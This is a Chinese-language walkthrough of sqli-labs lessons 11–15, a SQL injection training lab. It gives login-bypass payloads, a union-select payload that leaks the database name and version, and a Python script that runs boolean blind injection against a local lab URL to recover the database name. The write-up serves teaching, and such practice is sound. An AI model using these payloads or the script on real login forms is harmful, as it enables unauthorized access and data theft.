Sqli-labs11-15 (附盲注获取数据库长度和名字的脚本)
程序员文章站
2022-05-11 12:05:48
...
第十一题 报错
这里写代码片
一个登陆界面
这是登陆成功
用户名输入单引号报错
猜测是
select * from users where username='$name' and password='$password'
闭合
select * from users where username=' 'or 1=1 # ' and password='$password'
要将后面的and注释掉 不然语句就是或者 1=1并且密码等于这个了。
payload就是
username=’ or 1=1 #
闭合了前面对用户名的判断,注释了后面对密码的判断。使用 or 或者 1=1 肯定是对的。就可以登陆成功了。
看到页面上面有两个显示的用户名和密码的,但是还是要使用 order by测试下查询了几个数据并显示
确实是两个,order by 3的时候报错。没有第三个字段当然就不能以第三个字段排序了
让其回显数据,直接
第十二题 双引号报错
双引号报错
这个颜色真的辣眼睛
根据报错信息
猜测应该是 加了括号
select * from users where username=(“$username”) and password….
直接闭合 双引号和括号
username
")or 1=1#
闭合双引号和括号在 1=1注释密码~
uname=") union select database(),version()#&passwd=1
第十三题 单引号报错
单引号报错
闭合payload
')or 1=1 #
or (substr((select database()),1,1)='s'
可以布尔盲注
payload
uname=' )or (select substr((select database()),1,1))='s' # &passwd=1
写个脚本
获取数据库名长度
uname=' ) or length((select database()))=8 #&passwd=1
import requests
#uname=' )or (select substr((select database()),1,1))='s' # &passwd=1
url = "http://localhost/sqli-labs/Less-13/";
name =""
database_length=0
#正确的话就存在 flag.jpg
database_length_payload = "uname=' ) or length((select database()))={0} #"
database_name_payload = "uname=' )or (select substr((select database()),{0},1))='{1}' # &passwd=1"
def get_response(payload,value,*args):
if len(args)==0:
payload=payload.format(value)
data = {'uname': payload, 'passwd': '1'}
else:
payload = payload.format(value,args[0])
data = {'uname': payload, 'passwd': '1'}
print(data)
html = requests.post(url, data=data)
if "flag.jpg" in html.text:
return True
else:
return False
for n in range(100):
if get_response(database_length_payload,n):
print("[+] database_length is {0}".format(n) )
database_length=n
break
for nn in range(1,database_length+1):
for v in "qwertyuioplkjhgfdsazxcvbnm":
if get_response(database_name_payload,nn,v):
name =name+v
print("[+] database name is {0}".format(name))
break
print("[*] database name is {0}".format(name))
第十四题 双引号报错
双引号报错
闭合绕过
" or 1=1 #
//写了一堆是绕过登陆的。。。。应该获取数据库信息才行~!~!!!
十四题使用十三题的去掉括号,单引号换成双引号
修改payload直接上面的脚本跑获取数据库信息
第十五题 单引号报错
单引号报错,还是之前的脚本修改 payload